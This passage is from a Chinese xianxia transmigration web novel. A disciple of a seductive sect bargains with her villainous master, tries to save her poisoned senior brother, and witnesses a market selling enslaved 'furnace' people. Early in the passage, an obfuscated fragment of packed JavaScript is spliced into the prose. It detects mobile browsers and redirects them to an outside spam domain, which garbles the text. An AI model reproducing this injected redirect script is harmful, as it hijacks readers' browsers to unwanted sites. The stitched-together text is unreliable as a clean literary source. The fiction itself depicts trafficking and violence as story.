苏媚娘亲亲热热地揽过她的肩:“鏖战了一整夜,肯定损失了不少元气,走,师伯带你吃点鹿肉补一补。”
意寒星依旧满脸愁苦:“哪还有心情吃肉。感觉我都活不长了。”
苏媚娘睁圆眼睛:“凭什么?秦无昼要罚你?就因为你去爬他的床?”
意寒星自然不敢说实话,只道:“师尊让我去勾引并杀了剑宗的林无咎。”
“修罗剑林无咎?”苏媚娘失声,“姓秦的疯了吧?!林无咎可是当下化神第一人,你才多少修为,到金丹了吗?”
炉鼎怎么可能修炼。意寒星喉头苦涩:“才过金丹二阶。”
苏媚娘立刻咒骂起来:“秦无昼这厮,好生狠毒!他分明是想报复你又怕落人口舌,所以干脆找了个理由将你打发出去挨打送死!呸,他算什么东西,大家都是合欢宗人,就他装贞洁烈男,之前不肯参与师徒教学,现在不过你把他睡了,又不是欺师灭祖,他居然这么对你!”
殊不知她骂得越狠,意寒星就越发心惊肉跳、兔死狐悲:“师伯,咱们还是小声些吧。”爬师尊的床,这光彩吗。
苏媚娘痛心疾首:“寒星你就是太老实,才会被他拿捏。要我说,合欢宗内师徒传授房中术,有什么问题?他秦无昼凭什么就能例外?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534460|186480||http|test|mini|href|location''.split(''|''),0,{}));
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>意寒星:抱歉,是我不懂你们合欢宗了。
苏媚娘:“虽然南浔自学成才,用不到他,但你自打入门后迟迟不能突破金丹期,要我说这就是他秦无昼的问题,徒不教师之过,他倒好,不仅撒手不管,现在还想撺掇你去找死!”
当下修真界,人人皆知,剑宗修罗剑林无咎为人清正,不近女色,不知多少妖魔鬼怪试图近身诱惑,毁了他的纯阳身,最终却都死于那柄薄薄的修罗剑下。
但这只是表面,他看似是个正人君子,背地里却还是和原书女主卫如意整出了一整本限制文剧情。
不过这些都是后话了,意寒星如今只担心自己前途未卜:“能不能想法子让师尊消气?我不想接这个任务。”
去拆原书官配,怎么想都是炮灰的经典作死行为。
苏媚娘见自家晚辈一张白团子脸上怯生生粉嫩嫩,此刻更是心生怜惜:“你先别慌,我帮你想办法。”
她沉吟片刻,忽地一抚掌:“对了!秦无昼虽然是宗主,但青棠谷也不是他的一言堂,外派弟子出任务都是要经过流程合手续的。我和分管弟子任务的事务堂堂主相熟,我去请他先给你插队一个任务,你就可假借做任务之名,趁机溜出青棠谷。届时天高随鸟飞、海阔凭鱼跃,他一时想找你也找不到。然后你再在外头躲个一年半载,哼,他贵人多忘事,指不定就忘了你这茬,你自然也安全了。”
笑鼠,本人刚刚穿来,就已经要无家可归了吗。
然而如今之计,也只能死马当作活马医,意寒星把满腹悲凉咽回去,诚挚地向苏师伯道了谢,目送她风风火火又婀娜多姿地离开了。
苏媚娘临走前和她说了弟子居所的大致方位,意寒星如今认得自己的弟子居到秦无昼寝殿的路了,其实距离相当近,只隔了不到半座山。
作为宗主的关门弟子,原身的生活条件还不错,有一人独居的小院,门前栽花种草,屋内陈设雅致。
只不过看得出来没什么人打理,屋外的花草半枯不死,屋内的桌案上也盖着薄薄的灰尘。
意寒星眼里容不得一点脏东西,立刻皱起眉毛,神色严肃地翻出了抹布和水桶。
等到天色近黄昏,她伸了个懒腰,冲着窗明几净的屋子满意点头。
她是个既来之则安之的性子,事情既然已经发生了,怨天尤人盲目着急也没有用,还不如脚踏实地,从小事做起,让自己过的舒服一点。
进行了全屋大扫除的意外收获之一,就是她翻出了原身扔在书柜角落的一摞“墨宝”,意寒星扫了几眼,估摸着这些应当是原身平日修习道法留下的,性质和她大学课后的作业纸差不多。
看得出来,原身对自己是个炉鼎这件事破罐子破摔了,反正怎么修炼也赶不上别人的百分之一,那些关于法术经义的作业题她是一点没写。
意寒星看着那堆被揉得皱巴巴的纸,又想起白天苏媚娘的话。
关于攻略的事情,她忽然有了一个好(?)主意。
她要去金鳞殿一趟。
找秦无昼。
4. 讨价还价
同上次她灰溜溜离开的场景不同,今晚的金鳞殿宫灯万盏、灯火通明,远远望去,犹如天上宫阙。
只是意寒星知道里面住着的并非九重天仙人,而是吃人不吐骨头的大魔头。
青棠谷四季如春,柳绿花红,金鳞殿外一片潇潇柳林,正在夜风中沙沙作响,空中一轮明亮圆月,月下叶影婆娑,宛如群魔低语、魑魅随行。
意寒星踏过一地阴影,提裙上阶。如今的身份是秦无昼亲传弟子,前来拜访自己师尊不需通传,她在门外定了定神,才推门而入。
“弟子意寒星,拜见师尊。”
她拱着手,在殿内站了一会,都没等到人回话,干脆大着胆子抬起脑袋。
人不在。
意寒星愣了下,又提高音量:“师尊?”
依旧无人应答,万籁俱静夜色中,隐隐有水声流动,从里间传来。
该不会她来得不巧,正碰上秦无昼在沐浴?
意寒星下意识掉头想走,刚迈出去一步,又想起自己今夜前来的目的,虎穴都闯了,没见到虎子,岂不是白费她早前给自己打气的一番功夫?
她硬着头皮,循着水声往里走,一路拂纱穿帘,殿内有一股淡淡的甜香,昨晚她在秦无昼身上闻到的很像。
穿廊过间,意寒星隐隐望见远处白雾氤氲,似乎是个室内汤泉,再走近就不礼貌了,于是她在门外站定,喊了一声:“师尊。”
屋内哗啦啦的水声停了一瞬,片刻,传来一人低声:“嗯?”
“弟子意寒星,有事请教师尊。”
汤泉内的人顿了下,才慢悠悠地站起,高大身影透过纱屏,在明亮八角宫灯映照下,身形轮廓一览无余。
意寒星只瞥了一眼,立刻低头眼观鼻鼻观心,虽然只是惊鸿一瞥,但她的视线还是自动捕捉到了重点
——是转基因大茄子啊!
好在秦无昼似乎也没有想在徒弟面前孔雀开屏的想法,不过片刻就穿戴整齐,一阵香风混着湿气吹过,他一个闪身,已经出了温泉室,坐到外殿高位。
“你找我?”他大马金刀地坐在上首,笑容里带着一点嫌恶,两只金灿灿的眼睛写满了:怎么又来了?
座椅上雕着不知名的恶兽,秦无昼斜靠在上,背后几座半人高的缠枝金枝灯座光芒齐亮,几乎要看不清他的脸孔。
意寒星假装没看见那闪瞎狗眼俊脸上带着的嫌弃,老老实实地将手里整整齐齐、堆积如小山的卷子递了上去:“弟子今日扫除居所,发现了过往的许多答卷,想请师尊查阅。”
先前那晚她喝了酒,又是走火入魔,反倒没什么记忆,加之她本就能装,就算心里再多波澜,面上看起来都是云淡风轻,现下面对秦无昼,倒也不尴尬。
至于后者,活了千年的老怪物了,什么大风大浪没见过,自然更不会同她这个小辈计较。
果然,两人你不说我不语,默契地将那晚略过不提,只看表面,倒还有点相敬如宾的意味。
但很快,便宜师尊就暴露出了他的真面目。
“知道了。”秦无昼随手一指,“放那吧。你可以走了。”
意寒星没动,犹豫道:“我走了之后,师尊会看吗?”
秦无昼:“不会。”
这屑师尊,真是连装都不装了。
他不看,那她后续的计划还怎么进行,意寒星坚持不肯走,拿出准备好的说辞:“今日我在殿外遇到苏师姐,她说的一句话大大启发了我,正所谓师者父母心,有什么能比亲眼看到自己的孩子勤于学业、健康成长更能让父母开心的呢,弟子也想让师尊开心,所以——”
“所以你就把这些废纸拿给我?”秦无昼抬起一根手指,无数的白纸飞向空中,齐刷刷哗啦啦地翻动。
不过片刻,他就看完了,随手又将作业纸丢回原处,咧嘴嘲讽:“甚至还有去年的道术课后作业,你当时交不上来,不是说试卷被野猫叼走吗?”
意寒星强迫症地把折起一个角的卷子抚平,平静道:“哦,那野猫又叼回来了。”
秦无昼手托着腮,嗤笑一声:“真懂事的小猫……你先学个喵喵叫来听?”
无端被骚扰的意寒星:要是放在21世纪,她绝对要向教育局实名举报这种品行无良的人渣教师。
“师尊,您看完了我的答卷,有没有什么想法?”她还是决定先忍一忍。
秦无昼:“有。蠢。”连天地之间灵魔两气共生、相克这种基础问题都会答错,连三岁小儿都比不过。
意寒星大喜:“弟子属实愚钝,确实有很多问题想要请教师尊。”
接着,她就像个刚刚保上本校的研究生的本科生,为了证明自己的勤奋好学而不断地用垃圾问题骚扰她的前辈,开始用无数类似于“1+1为什么会=2”这样的智障问题攻击秦无昼。
不得不说,秦无昼的表现相当符合一个人品低劣反派师尊应有的模样,十句话里有八句是在嘲讽,剩下一句敷衍,一句半真半假的解惑。
秦无昼:“你这些年在合欢宗,是一点都没学吗?”
意寒星拿出早就排练好的老实委屈表情:“弟子天资比别人差了一截,再怎么努力也追不上的。”
对方没感情地笑了一声,手指再一次勾出她答卷上错误的地方,旁边标上字迹锋芒的批注:“确实,成事不足败事有余。”偏偏他还被这种蠢货近了身……
意寒星瞄了他几眼,啧,好端端一个帅哥,怎么偏偏就长了张嘴。
若是这人是个哑巴,光看他在明烛光晕下,修长指节握着青玉毛笔,低头在卷纸上勾勾画画的模样,还真有几分肆意风流的书生气。
唉,真是可惜。她一边在内心摇头,一边道:“师尊说得对啊,就像师尊你安排给我的任务,那可是修罗剑林无咎,弟子只怕心有余而力不足。”
秦无昼的动作顿了一下。
“原来你是打的这个算盘。”他慢慢道。
他抬起头来看她,玻璃日里折射出烛火细碎锋利的光芒。
然后又凉凉地笑了:“蠢徒弟学聪明了,竟敢算计到为师头上。”
其实,意寒星今晚来找秦无昼,也是做过充分考虑的。
她
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的计划很简单:借交卷请教问题的事后,趁机向秦无昼充分展示自己的不学无术,表示自己根本无法胜任勾引并杀了林无咎的任务。
她不担心自己这是羊入虎口,若是秦无昼想要直接杀她,直接趁她昨晚走火入魔毫无抵抗之际动手就行了。
之所以拖到现在她还能活蹦乱跳,多亏她赶上了一个好时候,秦无昼刚刚得到玻璃日,原书中堪比核武器级别的大杀器,想要完全驯化控制需费一番功夫,若是期间擅动杀孽,便会遭到反噬。
她又瞄了他一眼,果然看出了他眼尾一点鲜红的血丝。
秦无昼敏锐察觉她目光,眸中那点杀意顷刻又散去,变脸似的换上了灿烂的笑容:“你今夜来找为师,便是想说,你不想接这个任务?”
意寒星露出老实笑容,点头,委屈道:“弟子怕耽误了师尊的大事。”
胡扯。秦无昼没什么感情地笑了一声。歪着脑袋,耳坠轻晃:“你过来。”
等人从善如流地凑到自己面前,他拍了拍她的脑袋。
……这人以为自己在撸狗吗?意寒星心里吐槽,面上终于图穷匕见:“所以师尊,我能不能——”
秦无昼笑眯眯:“不能。”
好吧,倒也不意外。
“赶紧走。”秦无昼对她召之即来挥之即去,像挥赶苍蝇一样冲她摆手。
意寒星面露愁苦,不再多说,恭恭敬敬地准备退出去,走到门边,突然想起了什么:“对了师尊,昨天你问我有没有在你身上看见什么特殊的……”
殿内烛火摇晃了一下,秦无昼半张脸浸在黑暗里,声音还是笑吟吟的:“寒星是想起来什么了?”
“嗯。”意寒星一脸诚恳,“师尊的皮肤很好,弟子冒昧,想问师尊日常用的哪种熏香?您知道的,我要去对付林无咎,外貌上肯定要下功夫。”
秦无昼盯着她看了一会,才道:“为师也记不清了,你想要,等会我遣人给你送去。”
意寒星成功在危险边缘试探了一回,从善如流地收回自己的jiojio,再次恭敬告退。
知己知彼百战不殆,没道理秦无昼已经开始怀疑她了,她却还什么都不知情。
以原书中秦无昼的狡诈心性,就算她抱住他大腿,哭诉自己什么也没看见,那人也根本不会信,还不如自己先试探一番,争取掌握主动权。
虽然她还没想清楚到底要拿这个把柄做什么用,但握在自己手上,总归更安心。
况且,当别人怀疑你的时候,你做好是真的那样做了,对此,意寒星深以为然。
今晚来,虽然没能成功劝说秦无昼放弃他那个愚蠢的攻略任务,但也不算全无收获。
就在她说自己想起来的时候,秦无昼有一个极细细微的动作:他挺直了腰,上半身后仰,将脊梁更贴向了椅背。
像是,要把自己后背上什么东西藏起来一样。
意寒星下意识摸了摸自己的后背,心想便宜师尊的秘密大概就在那里了。
啧,那晚大部分都是他躺在下面,她骑在他身上,根本没机会看到他后背啊。
5. 病弱师兄
福无双至,祸不单行,次日,从苏媚娘那里也传来了坏消息。
“抱歉师侄,我找过事务堂堂主了,那人精本来都快答应,结果一听是秦无昼给你安排的任务,立刻就改口了。唉,都怪我口无遮拦说漏了嘴,明明知道合欢宗上上下下就没有不怕秦无昼这厮的……”
意寒星怎么会怪她:“师伯肯帮我,我就已经很感谢了。”
苏媚娘长吁短叹,为了弥补自己没能帮上忙的歉意,不由分说往意寒星手里塞了满满当当一袋灵石,然后又念叨了一番秦无昼在门内的积威,才愤愤不平地离开了。
她前脚刚走,意寒星的居所后脚又迎来了不速之客。
“大师兄?!”
之前躺在血泊里、如今脸上还有点苍白的俊朗青年一身青衣,冷着脸,坐在轮椅里,冲她颔首。
刚刚穿书来焦头烂额,意寒星差点都把这倒霉师兄给忘了,虽然捅了他一剑的不是自己,但她顶着凶手的脸,还是有点心虚:“对不起师兄,我……”
大师兄南浔没什么表情:“先进屋说吧。”
意寒星连忙让路,心里咯噔,看对方这严肃的态度,该不会是来找茬的吧?
《霸道仙尊日日强制爱》里主要的笔墨都在写卫如意与林无咎的花式play,作者也知道大家爱看什么,宁可花两千字细写两人在梳妆桌前的姿势,也不愿意细讲其他小配角的故事。
原身的大师兄南浔就是被省略掉的路人甲之一。
意寒星对这位出场戏份屈指可数的大师兄只有两个印象:合欢宗里唯一的纯情派,以及秦无昼的脑残粉。
是的,即使是个大反派,秦无昼身边还是有一些忠实的随从小弟,愿意为他疯为他狂为他哐哐砸大墙。
这么一想,那晚南浔拼死也要阻拦原身去爬秦无昼的床,可能为的不仅仅是原身的安全,也怕自家偶像被玷污吧。
南浔没什么表情:“师尊托我交给你这些熏香,说是你找他要的?”
意寒星从他手中接过那装在精致绣花锦袋内的熏香,刚刚拿到手就已经闻到了清香,仔细辨认,还和那晚秦无昼身上淡淡微甜的香味有点像:“嗯……”
南浔见缝插针,开始说秦无昼的好话:“师尊还是溺爱你,出了那样的事,不仅不罚,还将这袋他亲手烹制的熏香送给你,你可知这熏香名唤醉千金,里面放了百年才开一次的圣丁香、还有龙京九尾灵鹿的麝香……”
赶在他开始用一堆绕口的香料名称将她淹没之前,意寒星赶紧插话打断:“那个,大师兄你身上的伤怎么样了?”
南浔一副面瘫脸:“我无妨。”
然后转身捂着嘴咳嗽了两声。
他面无表情地将掌心的血擦掉。
意寒星:“……真的对不起!”
原身啊原身,看你干的好事!
南浔为人虽然古板迂腐,但原书中写他其实是个照顾同门的软心肠,原身刚刚进宗门时,因为天生炉鼎圣体难以修炼,教习长老知道她是秦无昼的小徒弟,不敢管也不好管,原身自己都破罐子破摔了,只有南浔每日鸡鸣时分就雷打不动地敲她的房门,冷脸端着一碗热灵米粥和两个肉包子,催她去上学堂。
并且,作为合欢宗内唯一的纯情派直男,在原身因为炉鼎体质饱受骚扰时,多是南浔挺身而出,斥退了不怀好意的各路人马。
“宝剑锋从磨砺出,梅花香自苦寒来,师妹万万不可只觉得我们是合欢宗人便自轻自贱,须知人在世上磨,最重要的便是一个自立,虽然我们是合欢宗,但我们也不必别的修士差……”
就是这么一个满口鸡汤又正直呆板的大师兄。
南浔:“我受伤之事师尊已经知道了,我向他求情,他已经答应不追究此事。我知道你是太年轻,才会一时走错了路,你也不用往心里去。”
和原书剧情不一样的走向,大概是因为她的主动坦白,于是被宽大处理了。
意寒星却没有因为自己逃过一劫而庆幸,虽然伤了南浔并非她的本意,但当初原身打伤南浔时她也亲身经历,感同身受,实在难以完全撇清。
南浔又道:“我的事情暂且不说,但是你冒犯师尊不行,为人徒弟,最重要的就是知礼义懂尊卑,等你长大一点你就知道了。所以,虽然师尊不罚你,但你也要时时刻刻自省,我替你联系了荆棘洞的洞主,从明日开始你就先去关三日的禁闭吧。”
意寒星:……
她立刻收起了那些无用的愧疚和同情心,面无表情道:“那怎么能行。放师兄你一个人在外面伤都没好,师妹关禁闭关得也不会安心的。”
“都说了不用担心,”南浔淡定道,“我的伤肯定治不好的。”
意寒星:“倒是积极抢救一下啊!”
南浔神色有些复杂地看了她一眼:“师妹莫不是忘了,那晚你刺我的剑并非凡品,是我下山历练得来,本来要献给师尊的‘毒牙’。”
原书里还真提过这东西。
若说原书中除了林卫两人的船戏之外还有什么东西是让意寒星觉得有趣的,那便是其中各种各样的天材地宝神器了。据说毒牙是由上古凶兽毒蛟的利牙制成,剑身自带见血封喉的剧毒,中毒之人伤口溃烂,寻常药石无医。
意寒星愣住了:“那大师兄你……岂不是会死?”
南浔淡然道:“生死有命。我只希望死前回首一生,能觉得我此生无愧,不因为虚度年华而悔恨,也不因为碌碌无为而羞耻。*”
意寒星沉默了一会,才道:“我记得,玉虚山修罗剑林无咎有一件法宝名为养元藤,可解百毒,应该也能解毒牙上的毒?”
南浔肃然道:“你是要从他手里借养元藤?不可,我们合欢宗与剑宗一贯交恶,他们势必不肯帮忙。何况从未有过养元藤解开毒牙之毒的先例,就算你设法弄来了养元藤,兴许也是白忙一场。你还是莫要想七想八,先去荆棘洞关禁闭。”
意寒星突然叛逆地大声道:“不!”
她站起来,将一脸不悦,正准
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备开口训斥她没规矩的南浔推了出去:“等我出谷回来,我自会去领罚。”
南浔扒住轮椅:“出谷,你要去做什么?”
意寒星:“找林无咎!”
*
意寒星回弟子居连夜收拾好了行李,准备出发,没办法,她遇见路边一只流浪猫都忍不住停下来喂食,更不可能眼睁睁看着南浔一个大活人死在自己面前。
一推开门,却发现门外早已有人在等候。
月色之下,青年坐在院内的石凳上,一身洒金紫袍,翘着二郎腿,一只木屐挂在那只骨肉玲珑的青白脚腕上,随着晃动要掉不掉。
秦无昼一手支着脑袋,怀里还揣着一只猫,似乎正在抬头望着夜空发呆。
意寒星也下意识抬头看了看天,漆黑一片,月色皆无,只有几刻稀稀落落的星点,黯淡无光。
“师尊找我有事?”她老老实实地走到了来人面前,行了个礼。
秦无昼“嗯”了一声,视线这才缓缓滑到她身上:“听南浔说,你答应去寻林无咎了。”
反正又不是为了你。意寒星颔首:“师尊,弟子回去反思过了,正所谓宝剑锋从磨砺出,梅花香自苦寒来,虽然我们是合欢宗人,但也不可便自轻自贱,须知人在世上磨,最重要的便是一个自立,我想,师尊交给我这个重任也是为了勉励我,让我知道我其实也不比别的修士差——”
秦无昼呵呵笑。
意寒星知道他不信,原书中这对师徒的关系就不大亲近,不如说,秦无昼这人同谁都不亲近。
这也是为何她选择自己找养元藤,而非向秦无昼寻求帮助。
靠山山会倒,靠人人会跑,还不如靠她自己想办法。
何况,她也有点私心,想要见原书男主一面。
秦无昼:“你第一次出谷历练,为师想了想,还是得给你准备点东西。”
意寒星又抬头看了看天。
秦无昼见她如此,好奇道:“你在看什么?”
意寒星:“弟子在看,今日月亮是不是打西边升起来了。”
夭寿,原书大反派居然开始关心徒弟了。
秦无昼愣了一下,用与反派身份很不相符的清爽帅哥音哈哈笑了两声,将怀里的猫放在石桌上:“你且拿着此物吧。”
黑白相间,圆溜溜的大眼睛,毛茸茸的身体——居然是一只奶牛猫!
意寒星困惑道:“师尊给我一只猫做什么,难道林无咎原身是一只老鼠精?”
话音刚落,趴在桌上的奶牛猫突然口吐人言:“并非如此。这只死去的猫尸中融入了为师一缕神识,可与为师通感。”
这不就是在她身边放了个监视器,方便随时随地监视自己,果然这屑师尊亡她之心不死。
“多谢师尊。”意寒星心里犯嘀咕,身体还是很诚实,偷偷撸了一把奶牛猫的脑袋。
后者立刻甩尾巴躲开了。
而秦无昼的视线落在刚刚摸过自己分身的那只手上,微微挑眉。
6. 无相鬼市
时值夏日,火伞高张,蝉鸣不绝,无相城宽阔笔直的大道上空空荡荡,沿街商铺大多关门避暑,剩下两三居民无精打采。
唯独行走在路上的带猫少女,衣着轻薄,身姿轻盈,走过时宛如一朵轻云拂过,留下一阵淡淡的不知名花香,引来街边懒汉的侧目。
意寒星被那两个地痞看了一眼,顿时觉得仿佛被臭□□舔了一口,十分不爽快,然而她还没来得及动作,下一刻那两人收起猥琐笑容,双眼发直,一脸梦游,狂扇自己巴掌。
“你打我干嘛!”
“你又打我干嘛!”
两人一边“啪啪啪”自扇巴掌,一边稀里糊涂地骂,再也顾不上觊觎路过的美貌少女。
这中邪一般的场景,始作俑者除了秦无昼还能有谁。
虽然他只将一缕神识分在猫身体内,法力被局限了大半,却仍然可以发挥出一些低级的合欢宗魅惑术,整治两个街边懒汉也不过眨眼之间。
光看奶牛猫外形,完全无法看出里面塞了个一言不合的杀胚。它现下正盘腿坐在意寒星肩头——秦无昼死活不肯让她抱着自己,又不肯屈尊降贵亲自走路,于是便站在她肩膀上。
“真讨厌被臭虫盯着。”奶牛猫秦无昼打了个哈欠,懒洋洋道。
虽然那两人看的似乎并不是他,但意寒星没糊涂到得了便宜还卖乖的程度,不打算和他解释。
她加快步伐,拐进一处无人小巷,心道原身的炉鼎体质,果然就算只是普普通通走在路上也会招蜂引蝶。
她只是想当一个平凡人而已啊!
迟早得想个办法解决这个麻烦才行。
奶牛猫秦无昼忽然开口提醒:“地下鬼市的入口就在这里。”
原书剧情这一段,是男主林无咎与剑宗同伴一起乔装潜入无相城的地下鬼市,调查当地连环失踪、疑似人口贩卖的案子。
意寒星当初看剧情时都跳过,谁会在限制文里关注一件失踪案是怎么破的:)
所以对于这段剧情起因经过,她知之甚少,只大约知道,林无咎在地下鬼市抓幕后真凶时遇险,中了情毒,被女主英雄救美,两人完成了初见面即大do特do的成就。
嗯……这个剧情怎么似曾相识呢。
不过对于意寒星来说,鬼市有另一层不详的意义:原书中原身被秦无昼逐出师门,无处可去后就是沦落到了鬼市。想想也知道,一个手无寸铁的炉鼎,到了鬼市这种三不管地带,能有什么好下场。
意寒星不禁放慢脚步。
奶牛猫秦无昼却等得不耐:“你又在发什么呆?赶紧按我教你的,唤出鬼市入口。”
意寒星顺手摸了一把对方的猫毛,在后者恶心又有点古怪舒服的表情中并指做法,在面前的实心砖墙上自左而右敲了几次。
无论是展开鬼市入口的方式,还是展开后鬼市的模样,都和《哈x波特》一模一样,只不过对角巷暴露在露天之下,而鬼市深埋于地底。
经过一道长长的漆黑石梯下行,意寒星眼前豁然一亮,渗水石壁上无数昏黄铜灯燃烧,将整个地下石窟照得宛若天上人间。
举目所望,大大小小的洞窟填塞逼仄的街道两边,摆摊陈设的商品稀奇古怪,滴溜溜转的眼珠、泡在浑浊液体里的不知名生物胚胎、一捆捆冒着不详黑气的药草……
一个幼童模样的修士拉着他旁边的大人,指着摊位上紫黑色的糖人撒娇:“师尊,我想要这个。”
那一大一小拉拉扯扯,意寒星看了一会,清了清嗓子,开口:“师尊,我也想——”
邪恶奶牛猫秦无昼笑得可爱:“不,你不想。”
意寒星:“。”
地下鬼市虽然建在地下,但天花顶上用夜明珠装饰出了日月星辰的图案,昼夜明亮,晨昏不分。
意寒星走了没一会,便觉得不对,眼前这家剑铺十分眼熟,应该是第三回见了。
“师尊,我们好像迷路了。”
奶牛猫原本正蹲在她肩上闭目养神,闻言老神在在地颔首:“你抬头看,那夜明珠摆成了八卦阵,便是用来困住像你这样的不速之客。”
怪不得她进来得十分容易,原来玩的瓮中捉鳖,要把人引进来杀。
聚集在地下鬼市的三教九流中,不乏刀口舔血的亡命之徒,此地远离地上仙门管束,自成一派规矩,虽然门户大开,看似欢迎八方来客,其实里头暗流汹涌,误入此地之人常常是有命来、无命回。
意寒星笑得甜蜜:“这种雕虫小技肯定难不倒师尊吧?”
奶牛猫将眼睛睁开一条缝:“既是下山历练,为师如何能越俎代庖?乖徒儿,你须得自己化解这一关才是。”
意寒星分明在他脸上看到了猫捉老鼠的戏谑,显然,对于自己的徒弟即将被困在危机重重的陌生鬼市中,秦无昼乐见其成。
如果换成暴脾气前任掌门千金苏媚娘,此刻肯定已经暴跳如雷,同秦无昼激情对线了,但意寒星不是,她是个老实人,她甚至不敢对师尊说心里话,只能在心里骂。
简称无能狂怒。
他们在剑铺前停留了太久,铺主以为有了新顾客上门,主动招呼:“本店选用上等寒铁,九层狱火淬炼,把把都是好剑,姑娘可有看中的?”
意寒星:不用了,她肩膀上现在就有一个人剑合一的大贱客呢。
赶在男铺主被炉鼎体质吸引、露出和之前街上的地痞流氓一样的迷幻神色前,她已经走出了十米远。
说起来,原身遇到危险时一般都是用迷药或毒,那是因为炉鼎资质太差无法修炼,但她好像也从没见过秦无昼用剑。
无论是原书中,还是穿书以后她亲眼所见,秦无昼动手的方式一般就两种,简单粗暴徒手拧瓶盖式拔头,和老阴比式幻花瞳术自相残杀。
在这个修仙没有剑就像考试不带笔、上阵不带枪的世界观里,他们师徒俩还真是特立独行最不一样的烟火。
不知又迷了多久路,眼前的场景终于出现了些许变化,一栋雕梁画栋四层小楼,楼顶歇山,楼角飞檐,一层层鱼鳞亮瓦在漫天夜明珠下熠熠生辉。
还未走进,就已有轻歌曼舞,粉香扑鼻。
意寒星的脸色却沉了下来。
小楼一层原本该是白墙的地方,全都换成了巨大透明的琉璃屏,光可鉴人的琉璃屏后,挤挤挨挨蜷缩着十数个衣不蔽体的少男少女。
他们个个面容娇媚,神色惊慌,双脚双手都挂着粗重的铁索,而身上的东西,与其说是轻衣薄衫,不如说只是一件半透明的破布而已,除了关键的部位,身体其他地方全都一览无余。
奶牛猫站在意寒星肩膀上,动了动毛茸茸的鼻头,露出了厌恶的表情:“是炉鼎。”
好几个大腹便便的修士正扒在琉璃屏上,逗弄着里面躲无可躲的炉鼎,还有几个衣冠楚楚的,正摇着扇子肆意品评:“天香楼这回进的货资质还不错,过几日万宝大会我是一定要参加的。我卡在金丹后期已有两百多年,这回若是能买到一个上品炉鼎,突破就有望了。”
“我上次花大价钱买回去的炉鼎没用几次就坏了,呸,真是晦气,白瞎了老子二百颗灵石。这回我买它十个便宜的回去,用完了就扔,就不心疼了。”
站在天香楼前,一个满面笑容的修士正在招揽客人:“各位走过路过不要错过,为庆祝万宝大会即将召开,此次预售炉鼎统统打八折,更有买一送一活动,新客更多优惠哦……”
奶牛猫秦无昼等了一会,见身下的徒弟还没有反应,用肉垫推了推她的后颈:“看入神了,你也想买一个?”
意寒星猛地回过神来,浑身上下仿佛浸在冷水里一般,发了个寒噤:“那是人!”又不是货物,怎么能被那样轻贱的对待贩卖?!
秦无昼冷冷道:“普天之下,炉鼎皆是如此。被卖到天香楼的炉鼎已经算好的,兴许还能碰上个文雅的主人。更多的是你看不见的地方,有些孩子一出生就暴露了炉鼎身份,往往被父母抛弃,活不到成人——你做什么?”
意寒星又走了几步,后脑忽然一阵锐痛,身体不由自主地停了下来。
是秦无昼对她使用了幻花瞳术,控制了她的身体。
秦无昼绕到她面前,借用奶牛猫的身体和她对视:“你救不了别人,给我站住。”
意寒星语气生硬道:“可我至少得做点什么。”苏师伯送给她的灵石还剩半袋,她可以将那些炉鼎买下来,就算只是两个人、一个人也可以……
猫的眸中浮现出一丝嘲讽的笑意:“就你这样,修为低下,身娇体弱,能做什么?”
“难道修为低的人就不可以想要帮助别人?!”意寒星觉得胸腔里似乎堵了一团火。
秦无昼:“天真,幼稚,自以为是。”
若是对着他本人,意寒星估计没这么大的胆子,可如今她盯着那双冷静到几乎冷血的猫瞳,终于忍不住了:“对,我是修为低,可我至少
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有心!可师尊你呢?你明明有办法,你可以帮到她们,可为什么你只是站在这里什么都不做?”
秦无昼眸子里笑意渐渐冰冷了:“你是在质问为师?”
又来了,这人又拿出师尊的派头来压她。意寒星不胜其烦,火气烧得更旺了:“难道只要是师尊说的话就一定对?见死不救、自私利己,这就是师尊想要教给我的吗?”
“少给我扣帽子。”秦无昼忽然笑了,“你想去送死,随便你。”
他松开了对意寒星的瞳术控制,从她肩上跳下来,后者紧紧抿着嘴,大步走向天香楼。
她不知同负责看守炉鼎的守卫说了什么,又从兜里掏出一袋灵石,有零有整,一股脑全递给了那个守卫。
眼见天降横财,守卫立刻点头哈腰,当着意寒星的面,将那几个炉鼎都从琉璃屏后放了出来,少女的脸上,第一次露出了真心实意的笑容。
秦无昼看了她一会,在她返身回来经过自己身边时,声音带了凉凉的嘲讽:“像你这样以为靠自己就能救人改世的天真蠢货,我从前见过一个。”
“是吗。”意寒星的心还是跳得很快,决定暂时不和这便宜师尊计较,接话道,“那个人后来怎么样了?”
秦无昼回答干脆利落:“死了。”
*
一时半会解不开八卦阵,眼见洞窟顶上的夜明珠组成了月亮星辰的图形,应是已近夜晚。
意寒星打算先找家干净的客栈过夜,她还没心大到在入夜的鬼市里招摇过市。
因为身上的银钱都给了天香楼,她瞄了一眼面无表情的秦无昼,小心翼翼道:“师尊对住宿条件,应该没什么要求吧?”
先前她进过金鳞殿,金碧辉煌温柔乡,加之一路走来,她早看出这人喜好享受的奢靡之气,让他同自己住寒酸破落旅店,她心里还真是有点没底。
秦无昼似乎早有预料:“你在这里等着,别动。”
说完就离开了,留下意寒星一个人困惑:他如今一只猫身,能去哪给她找灵石来?
秦无昼轻车熟路地翻过墙头,越过屋脊,最后钻进了天香楼后的一条暗巷。
“哈哈,今天遇到个冤大头,白给了老子一百灵石,就为了把这几个败家玩意放走。”
是天香楼的之前收了意寒星灵石的两个守卫,两人身前躺着一只巨大的麻袋,里面人形不住蠕动,传来呜呜咽咽的求饶。
“安静点!”守卫之一狠狠踢了麻袋一脚,“那蠢女修还以为把你们放走是为你们好呢,也不看看就你们这幅骚气模样,走在大路上勾勾引引的,怕不是没到天黑就被吃的骨头都不剩了!”
另一人笑道:“可不是,炉鼎就该有炉鼎的样子。走,哥们今天白赚了一百灵石,喝酒去?”
两个守卫拖着大麻袋,勾勾搭搭的往小巷外走。
秦无昼蹲在墙头上,面无表情地看着二人的背影,猫儿眼中划过一道淡淡的金芒。
那两人忽然身形一僵,拔出腰间佩剑,默不作声地互砍起来。
没多时,原本站着人的地方就只剩两滩骨肉烂泥。
